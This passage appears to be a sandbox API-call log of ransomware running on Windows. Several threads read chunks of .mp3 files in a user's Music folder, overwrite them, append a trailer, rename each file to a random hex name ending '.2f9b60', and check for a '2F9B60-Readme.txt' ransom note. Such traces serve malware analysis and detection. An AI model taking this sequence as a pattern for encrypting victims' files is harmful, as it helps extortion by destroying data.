DestinationString="0eef8c5a673e67b022837abd814eafab6d2d4d814ef1") [0235.943] RtlAnsiStringToUnicodeString (in: DestinationString=0x2911fcf8, SourceString="0eef8c5a673e67b022837abd814eafab6d2d4d814ef1", AllocateDestinationString=1 | out: DestinationString="0eef8c5a673e67b022837abd814eafab6d2d4d814ef1") returned 0x0 [0235.943] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4310edb0 [0235.943] wcscat (in: _Dest=0x42c37050, _Source="0eef8c5a673" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673" [0235.944] wcscat (in: _Dest=0x42c37050, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673.2f9b60" [0235.944] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673.2f9b60", NtPathName=0x2911fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\0eef8c5a673.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.944] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d6f00 [0237.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d6f00) returned 1 [0237.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43213210) returned 1 [0237.509] NtQueryInformationFile (in: FileHandle=0x2d90, IoStatusBlock=0x2911fd38, FileInformation=0x2911fd48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2911fd38, FileInformation=0x2911fd48) returned 0x0 [0237.509] NtSetInformationFile (FileHandle=0x2d90, IoStatusBlock=0x2911fd38, FileInformation=0x2911fd48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c37050) returned 1 [0237.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310edb0) returned 1 [0237.569] FlushFileBuffers (hFile=0x2d90) returned 1 [0238.216] CloseHandle (hObject=0x2d90) returned 1 [0241.494] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x1079c0 [0241.494] wcscpy (in: _Dest=0x1079c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0241.495] wcscat (in: _Dest=0x1079c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" [0241.495] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt")) returned 0x20 [0241.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0241.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce16660) returned 1 Thread: id = 3851 os_tid = 0xccc [0227.828] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\hdAiQ0x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\hdaiq0x.mp3")) returned 0x20 [0227.828] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\hdAiQ0x.mp3", dwFileAttributes=0x20) returned 1 [0227.829] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\hdAiQ0x.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\hdaiq0x.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x3180 [0227.830] GetFileSizeEx (in: hFile=0x3180, lpFileSize=0x3076fcc0 | out: lpFileSize=0x3076fcc0*=76813) returned 1 [0227.830] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0x12c09, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.830] ReadFile (in: hFile=0x3180, lpBuffer=0x3076fc40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3076fc88, lpOverlapped=0x0 | out: lpBuffer=0x3076fc40*, lpNumberOfBytesRead=0x3076fc88*=0x4, lpOverlapped=0x0) returned 1 [0227.830] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0227.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ba0 [0227.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0227.831] NtQuerySystemTime (in: CurrentTime=0x3076fb80 | out: CurrentTime=0x3076fb80*=132462178318234000) returned 0x0 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x1118c2a6 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x165c8dc [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x5aed9ac6 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x77990d04 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x6151a043 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x7a98e91e [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x4c425015 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x1a11f926 [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x76768a3c [0227.831] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x6c089756 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x53ab340 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x4fcb98e1 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x394f4c11 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x2abc7b14 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0xe3d0548 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x7a5381f4 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x9886347 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x484b14b [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x6788d97f [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x3d06d59b [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x61c19cf8 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x6e9fb4c6 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x3c47d07c [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x291b02c3 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x697290cc [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x58ebcee2 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x297804d5 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x41cf24d6 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x6ce2d290 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x7dd52eb7 [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x56c4d3ac [0227.832] RtlRandomEx (in: Seed=0x3076fb70 | out: Seed=0x3076fb70) returned 0x64a37788 [0227.839] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.839] ReadFile (in: hFile=0x3180, lpBuffer=0x41e1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesRead=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0227.839] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0227.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0227.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0227.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6f60) returned 1 [0227.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e40d80 [0227.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6f60 [0227.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0227.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0227.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0227.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0227.843] WriteFile (in: hFile=0x3180, lpBuffer=0x41e40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesWritten=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0232.202] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.202] ReadFile (in: hFile=0x3180, lpBuffer=0x41e1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesRead=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.202] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591a0 [0232.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503b90 [0232.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264440 [0232.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264440) returned 1 [0232.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e40d80 [0232.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264440 [0232.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265430 [0232.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20265430) returned 1 [0232.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b90) returned 1 [0232.205] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591a0) returned 1 [0232.205] WriteFile (in: hFile=0x3180, lpBuffer=0x41e40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesWritten=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.223] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0232.223] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0xf00d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.223] ReadFile (in: hFile=0x3180, lpBuffer=0x41e1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e1f0f0*, lpNumberOfBytesRead=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.223] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0xf00d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.223] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce619c0 [0232.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c5c0 [0232.224] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0232.225] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0232.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e40d80 [0232.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0232.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202672c0 [0232.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202672c0) returned 1 [0232.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c5c0) returned 1 [0232.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce619c0) returned 1 [0232.227] WriteFile (in: hFile=0x3180, lpBuffer=0x41e40d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3076fbe0, lpOverlapped=0x0 | out: lpBuffer=0x41e40d80*, lpNumberOfBytesWritten=0x3076fbe0*=0x3c00, lpOverlapped=0x0) returned 1 [0232.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e40d80) returned 1 [0232.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309ff30 [0232.245] SetFilePointerEx (in: hFile=0x3180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.245] WriteFile (in: hFile=0x3180, lpBuffer=0x423a9700*, nNumberOfBytesToWrite=0x148, lpNumberOfBytesWritten=0x3076fc90, lpOverlapped=0x0 | out: lpBuffer=0x423a9700*, lpNumberOfBytesWritten=0x3076fc90*=0x148, lpOverlapped=0x0) returned 1 [0235.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0235.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0235.968] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0235.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82cfe0 [0235.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0235.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82e0 [0235.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82e0) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0235.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9fa30 [0235.970] sprintf (in: _Dest=0x1cd9fa30, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa32, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa34, _Format="%c%c" | out: _Dest="f4") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa36, _Format="%c%c" | out: _Dest="15") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa38, _Format="%c%c" | out: _Dest="86") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa3a, _Format="%c%c" | out: _Dest="6b") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa3c, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa3e, _Format="%c%c" | out: _Dest="66") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa40, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa42, _Format="%c%c" | out: _Dest="74") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa44, _Format="%c%c" | out: _Dest="03") returned 2 [0235.970] sprintf (in: _Dest=0x1cd9fa46, _Format="%c%c" | out: _Dest="8b") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa48, _Format="%c%c" | out: _Dest="94") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa4a, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa4c, _Format="%c%c" | out: _Dest="43") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa4e, _Format="%c%c" | out: _Dest="32") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa50, _Format="%c%c" | out: _Dest="49") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa52, _Format="%c%c" | out: _Dest="9f") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa54, _Format="%c%c" | out: _Dest="34") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa56, _Format="%c%c" | out: _Dest="9c") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa58, _Format="%c%c" | out: _Dest="d6") returned 2 [0235.971] sprintf (in: _Dest=0x1cd9fa5a, _Format="%c%c" | out: _Dest="23") returned 2 [0235.971] RtlInitAnsiString (in: DestinationString=0x3076fd08, SourceString="7cf8f415866baa666c74038b941e4332499f349cd623" | out: DestinationString="7cf8f415866baa666c74038b941e4332499f349cd623") [0235.971] RtlAnsiStringToUnicodeString (in: DestinationString=0x3076fcd8, SourceString="7cf8f415866baa666c74038b941e4332499f349cd623", AllocateDestinationString=1 | out: DestinationString="7cf8f415866baa666c74038b941e4332499f349cd623") returned 0x0 [0235.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x4309fa60 [0235.972] wcscat (in: _Dest=0x42c36990, _Source="7cf8f415866" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866" [0235.972] wcscat (in: _Dest=0x42c36990, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866.2f9b60" [0235.972] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866.2f9b60", NtPathName=0x3076fcb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\7cf8f415866.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.972] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x430d70c0 [0237.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430d70c0) returned 1 [0237.377] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c10000) returned 1 [0237.377] NtQueryInformationFile (in: FileHandle=0x3180, IoStatusBlock=0x3076fd18, FileInformation=0x3076fd28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3076fd18, FileInformation=0x3076fd28) returned 0x0 [0237.377] NtSetInformationFile (FileHandle=0x3180, IoStatusBlock=0x3076fd18, FileInformation=0x3076fd28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.378] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36990) returned 1 [0237.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fa60) returned 1 [0237.379] FlushFileBuffers (hFile=0x3180) returned 1 [0238.205] CloseHandle (hObject=0x3180) returned 1 [0241.391] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x43112520 [0241.391] wcscpy (in: _Dest=0x43112520, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0241.391] wcscat (in: _Dest=0x43112520, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" [0241.391] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt")) returned 0x20 [0241.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112520) returned 1 [0241.392] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ade40) returned 1 Thread: id = 3852 os_tid = 0x1330 [0227.861] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\S3bWavo-0UZyDMaC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\s3bwavo-0uzydmac.mp3")) returned 0x20 [0227.862] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\S3bWavo-0UZyDMaC.mp3", dwFileAttributes=0x20) returned 1 [0227.862] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\S3bWavo-0UZyDMaC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\s3bwavo-0uzydmac.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x17d8 [0227.863] GetFileSizeEx (in: hFile=0x17d8, lpFileSize=0x30e4f8e0 | out: lpFileSize=0x30e4f8e0*=68029) returned 1 [0227.863] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x109b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.863] ReadFile (in: hFile=0x17d8, lpBuffer=0x30e4f860, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30e4f8a8, lpOverlapped=0x0 | out: lpBuffer=0x30e4f860*, lpNumberOfBytesRead=0x30e4f8a8*=0x4, lpOverlapped=0x0) returned 1 [0227.864] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0227.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8850 [0227.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0227.868] NtQuerySystemTime (in: CurrentTime=0x30e4f7a0 | out: CurrentTime=0x30e4f7a0*=132462178318546000) returned 0x0 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x55b22ca0 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3deb1aa6 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x6a2bd0d0 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x62d3b152 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x2f79c3c6 [0227.868] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x4760f133 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x45032184 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3186d9b1 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x5eed36dd [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3ad9d3db [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3b4937f8 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3ab9eeb7 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: 